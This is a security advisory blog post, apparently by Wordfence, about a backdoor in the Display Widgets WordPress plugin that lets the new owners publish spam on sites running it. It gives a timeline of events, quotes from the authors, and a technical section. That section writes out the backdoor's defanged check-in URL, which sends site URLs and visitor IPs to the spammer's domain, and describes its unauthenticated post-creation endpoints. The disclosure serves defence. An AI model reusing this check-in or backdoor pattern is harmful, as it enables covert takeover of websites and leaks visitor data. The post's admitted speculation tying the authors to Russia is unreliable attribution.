Note: This post is the first part of a series. The series has a second detailed follow-up which discusses the identity of the person behind the Display Widgets plugin spam. Then there is a third in the series which explains how the same spammer influenced a total of 9 plugins over 4.5 years.
If you have a plugin called “Display Widgets” on your WordPress website, remove it immediately. The last three releases of the plugin have contained code that allows the author to publish any content on your site. It is a backdoor.
The authors of this plugin have been using the backdoor to publish spam content to sites running their plugin. During the past three months the plugin has been removed and readmitted to the WordPress.org plugin repository a total of four times. The plugin is used by approximately 200,000 WordPress websites, according to WordPress repository. (See below)
Wordfence warns you if you are using a plugin that has been removed from the repository. During the past months you would have been warned several times that this plugin has been removed with a ‘critical’ level warning that looks like this:
It turns out that this plugin did have “unknown security issues”. Let’s start with a timeline of what happened to Display Widgets, why it was removed three times from the repository and allowed back in each time and then finally removed again a fourth time a few days ago.
A Timeline of “Display Widgets” Bad Behavior
On June 21st a plugin called Display Widgets was sold by its owner to a user known as ‘displaywidget’ on the WordPress.org forums. That new owner released version 2.6.0 of the plugin.
On June 22nd, David Law, a UK based SEO consultant sent an email to the WordPress.org plugin team letting them know that the Display Widgets plugin was installing additional code from an external server. The plugin was downloading a large Maxmind IP geolocation database of around 38 megabytes from the author’s own server. This is not allowed for WordPress plugins in the repository.
On June 23rd, the plugin team removed Display Widgets from the repository. There was some discussion about this on the WordPress.org forums.
Then on June 30th, 7 days later, the developer released version 2.6.1 of the plugin. This release contained a file called geolocation.php which, no one realized at the time, contained malicious code.
The code in geolocation.php allowed the plugin author to post new content to any website running the plugin, to a URL of their choosing. They could also update content and remove content. Furthermore, the malicious code prevented any logged-in user from seeing the content. In other words, site owners would not see the malicious content.
David Law again contacted the plugin team and let them know that the plugin is logging visits to each website to an external server, which has privacy implications.
On July 1st the plugin was once again removed from the WordPress repository.
On July 6th version 2.6.2 of Display Widgets was released and it again included the malicious code referenced above which had still gone unnoticed by anyone. It included a change to the logging code which was disabled by default and included an on/off option. At the time David Law let the WordPress.org plugin team know that this was not enough in his opinion and they ended up disagreeing on the issue.
On July 23rd, Calvin Ngan opened a Trac ticket reporting that Display Widgets was injecting spammy content into his website. He included a link to Google results that had indexed the spam and said the malicious code is in geolocation.php.
On the 24th of July the WordPress.org plugin team removed Display Widgets from the plugin repository for a third time.
On the 2nd of September version 2.6.3 of the plugin was released and it included the same malicious code. Line 117 of geolocation.php in version 2.6.3 even contains a minor bug fix to the malicious code, which makes it clear that the authors themselves are maintaining the malicious code and understand its operation.
On September 7th a forum user on WordPress.org reports that spam has been injected into their website on the Display Widgets plugin support forum.
The author responds on September 8th saying:
“thank you for letting me know. Yes, the last update fixed this you need to clear your cache and update to the latest version. As I mentioned in the changelog, I asked a friend of mine to review the code and he gave me a full report. You can look at the wp_options table for leftovers, and if you don’t find anything then you should be okay.”
And then another reply from someone else sharing the same ‘displaywidget’ user account (spelling mistakes included):
The other admin here. Unfortunately the addition of the GEO Location made the software vulnerable to a exploit if used in conjunction with other popular plugins.
The latest update fixed and sanitised the vulnerability. A simple empty of the cache & clearing of the wp_options table (if affected) should remove that post.
Again i apologise. But this should fix it. We estimate only around 100 or so sites to be comprimised.
The malicious code is not an exploit. It is a backdoor giving the author access to publish content on websites using the plugin. It does not require ‘other popular plugins’ to work.
The second poster says “only around 100 or so sites” are compromised. Actually, the backdoor exists on any site running versions 2.6.1 to version 2.6.3 of the plugin. Considering the time-span of 2.5 months between those releases, that would mean that these two or more people have access to publish anything they like on most of the 200,000 sites the plugin is installed on.
On September 8th the plugin was removed for a fourth time from the WordPress plugin repository. This time we hope it is permanent.
Wordfence Issued ‘Critical’ Alert Each Time Plugin Was Removed
On June 15th of this year, Wordfence added a feature to alert you if a plugin is removed from the repository. We did this because in the past, plugins have been removed because they have a security issue. It turns out that this feature helped users recognize that there was a security issue with this plugin.
We started alerting when this plugin was first removed, over two months ago:
We then continued to alert as the plugin was removed from the repository and re-added several times, as is the case in this forum post:
I’m incredibly proud that our team took the initiative and got this feature released in June of this year, just in time to save many of our free and paid customers from being affected by this malicious plugin.
Could This Have Been Accidental?
It is worth considering that the plugin author may have accidentally included an external library that contained someone else’s malicious code without realizing it. In fact the second poster on September 8th says:
“Unfortunately the addition of the GEO Location made the software vulnerable to a exploit if used in conjunction with other popular plugins.”
This suggests they used an external library and weren’t aware of the ‘vulnerability’.
They were maintaining the malicious code
The 2.6.3 release of their plugin makes a minor modification to the malicious code in geolocation.php to fix a bug in the code that lets the plugin author list the malicious posts they have published on your site.
Then in the latest release there is a major change. They break out the code that is pulling down the spam into a separate function called endpoint_request() and switch to using the domain stopspam.io instead of using geoip2.io. Both domains are hosted on the same IP address. They also base64 encode the domain name in an attempt to hide the name of the domain they are fetching spam from.
The authors of the plugin are actively maintaining their malicious code, switching between sources for spam and working to obfuscate (hide) the domain they are fetching spam from.
The authors operate the domain the spam is fetched from
On July 4th, one of the plugin authors says this in a post:
“So I registered address geoip2.io to provide service for “unlimited” requests. I purchased ip2location Pachage for a project of mine a while ago, so I can use with no problem, as long as I do not sell similar service to ip2location.”
The authors admit they registered and own the geoip2.io domain name. The stopspam.io domain which they later switch to is hosted at the same IP address which is 18.104.22.168.
The authors were caught lying
The authors of Display Widgets sold the plugin to the new plugin owners and have said so on their website.
On approximately July 4th, one of the authors sharing the ‘displaywidget’ account posted that they did not buy the plugin, calling it “fake news”:
“out of curiosity, where does it say that I purchased this plugin? See? This is exactly why people like Trump win: because of fake information being spread, and because of people who believe in anything they read without checking the reliability of those sources. I’d like to know where this rumor that “money was exchanged” started.”
The former authors at Strategy11 have a clear message on their site saying that the plugin was ‘purchased’:
Why would the new owners of the plugin lie about the plugin being purchased? Who knows, but it provides data showing that they are willing to lie publicly while accusing others of doing the same.
Who is Behind Display Widgets and the ‘displaywidget’ Username?
In the heat of an argument on the WordPress forms, one of the authors sharing the ‘displaywidget’ username includes the following in a post:
“Please keep your own un-educated thoughts to your self and stop trying to advertise your FORK of the real plugin on my support pages. Instead please contact firstname.lastname@example.org and please provide who ever you contact, with that email address.”
They sign the post “Kevin”.
If you visit the ‘wpdevs.co.uk’ domain name you’ll find a site that wants to buy WordPress plugins:
They claim to have “34 plugins and counting”. This suggests that whoever bought the Display Widgets plugin is operating this business. There is no further info about “Kevin Danna” or the business available.
Which 34 plugins does this company own?
This company and the individuals behind it appear to be responsible for injecting malicious code into a plugin used by over 200,000 websites. If they have 33 other plugins, we would like to know which they are. I reached out to the email@example.com email address and received a reply which I have included below. The reply suggests that the “34 plugins” claim may not be true.
Are they really based in the UK?
The company says that they are based in the UK on their home page. Their domain is also a UK domain name. And yet, one of the plugin authors said in a post on July 4th:
“Apologies for the delay. Please consider that it is Independence Day weekend here in the United States, and even plugin developers deserve to spend some quality time with their families, don’t you think?”
Is this another example of one of the authors lying? Or is one of them based in the United States and the company is based in the UK?
A possible Russia linguistic connection
I’m moving into the realm of speculation here, but something struck me as I was reading some of the plugin authors comments. These are extracts from the forum posts from the account that the two authors share. You can find all posts here.
Notice the following phrases which I’ve extracted from posts by ‘displaywidget’. Everything in square parentheses has been added by me and was a linguistic error by the poster.
- “so I can use [it] with no problem”
- “as long as I do not sell [a] similar service to ip2location”
- “have access to [the] IP addresses of those using [the] service”
- “Why do I collect also [the] website URL?”
- “websites are abusing of this free service”
- “people think I [am] try[ing] to take advantage of something”
This indicates that at least one of the individuals sharing the ‘displaywidget’ account is a non-native english speaker. It is a common mistake for Russians to omit the article when speaking english. That is the most common mistake made in the examples above.
This may indicate that at least one of the authors is either based in eastern Europe or of eastern European origin.
Kevin Replies to My Email
I sent the firstname.lastname@example.org email address a request for comment on this story. I asked specifically about the wpdevs website claiming that he has 34 plugins and whether the code to add spam content was included intentionally. I received a reply. I am excluding the first four sentences which includes some personal detail. This is the rest of his reply:
—Begin quoted email—
*snip*… So i sold up all my plugins to numerous people.
The Display Widgets plugin was sold to a company in California who made me sign a NDA. Probably due to the reasons you have highlighted. This is the only plugin i sold to this “guy”. He claims to have lots of “drupal” plugins and this was his first wordpress plugin. I bought this plugin for $15,000 and sold it for $20,000. They told me they was using it to advertise there toolbar, which i suppose you could use to search them up.
In regards to the 34 plugins and counting, that was at the peak of my career. I would buy plugins brand them up towards say a “web design” business on the /wp-admin/ and then sell the web design business along with the plugin with words like “Used by over 100,000+ websites” adding words like that etc inflated the price of the business by xyz and then i would simply flip it as quick as i could. WP Devs is now a defunct company for obvious reasons.
I apologise for any inconvenience i have caused in directly. I wish you the best of luck!.
—end quoted email—
I sent Kevin a follow-up request for more information. I pointed out that the wpdevs.co.uk domain was registered in April of this year according to Nominet. I also pointed out that archive.org have no record of anything on the domain prior to that.
I’ll leave it up to the reader to draw your own conclusions.
The Technical Functioning of Malicious Code in DisplayWidgets
The most recent version of the plugin hooks into the ‘wp’ action which runs on each request to the WordPress front-end. When this hook is first run after the plugin’s activation, it makes a request to the spammer’s server to “check in” with the following parameters:
http://stopspam[dot]io/api/update/?url=<current url>&agent=<user agent>&v=1&p=4&ip=<remote IP address>&siteurl=<WP site URL>
If we break that into bullets for readability it is:
- url=<current url>
- agent=<user agent>
- ip=<remote IP address>
- siteurl=<WP site URL>
This “check in” call acts to notify the spammer that a new site or installation can be configured to host backlinks or other spam content.
The plugin has separate actions that allow an unauthenticated user (the spammer in this case) to create or update posts/pages at a user-supplied slug with content that is pulled down from the stopspam.io domain.
The content that can be pulled down from the spammer domain includes script tags that could be used for an XSS attack. The attack would not be able to target logged-in users of the site because content is hidden from them. However, it could target users who are not logged in and gain access their sensitive data via an XSS attack.
The following URLs can be accessed by the spammers (plugin authors in this case) to create, modify and delete content on a website running the affected versions of this plugin:
As you can see, the authors have even included a convenient ‘bulk’ deletion function to remove all traces.
The spammers were previously using the geoip2.io domain to fetch spam. They later switched to stopspam.io and neatened up their code slightly. The spammers have several domains they are using, all hosted at the same IP address 22.214.171.124:
- stopspam.io registered July 2, 2017.
- geoip2.io registered 24 July, 2017.
- w-p.io registered 11 July, 2017
- maxmind.io registered 24 July, 2017
Wrapping It Up
As I mentioned in the introduction, Wordfence would have warned you each time this plugin was removed from the repository. It is important that you have Wordfence installed and have your email alerts configured. Make sure you pay attention and respond when needed. We have several reports from users who say they did respond to this Wordfence alert and removed the malicious plugin.
You are welcome to share your thoughts in the comments. Please note that many of the forum moderators and plugin repository maintainers are volunteers. Please do not judge them harshly – in general they do a pretty darn good job of keeping an extremely large repository and support forum system running smoothly for the most popular CMS on earth.
I would also ask you to not start any witch hunts. I’m sure some folks are angry about what transpired here, but things happen and if you were on top of security, you would have been notified that the plugin was removed from the repository and you would have removed it from your site. Occasionally plugins change ownership and very rarely, that doesn’t go well. That appears to be what happened in this case.
Mark Maunder – Wordfence Founder/CEO.
A number of people contributed to this post. Firstly I’d like to thank David Law. He was the first person to raise a concern about this plugin and pursued his case relentlessly on the WP forums with, at times, resistance from the plugin authors and others. Thanks David for looking out for the rest of us. David was also kind enough to exchange several lengthy emails with me to help establish a timeline – one of them was at 5am his time.
I’d also like to thank Matt Barry, Brad Haas, Kathy Zant, James Yokobosky, Dan Moen, Asa Rosenberg and Matt Rusnak on our team, for their assistance with this post.
I also tried to contact Stephanie Wells, the original author of the plugin via her website and via LinkedIn and she was not immediately available for comment.
UPDATE: I just completed a Skype call with Stephanie, the original author of the plugin. She has been incredibly open and honest about this whole situation. They (she runs a business with her husband) are good people and she freely shared data with me that will help tremendously with our investigation. Stephanie clearly cares deeply for the WordPress community and security in general. I can tell she is deeply disappointed by how this worked out and wants to do everything she can to help. My team and I are still processing the data she shared, but will most likely post a follow-up.